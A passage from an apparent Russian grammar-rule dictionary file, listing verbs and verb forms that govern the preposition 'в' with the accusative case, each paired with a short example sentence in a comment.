небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: 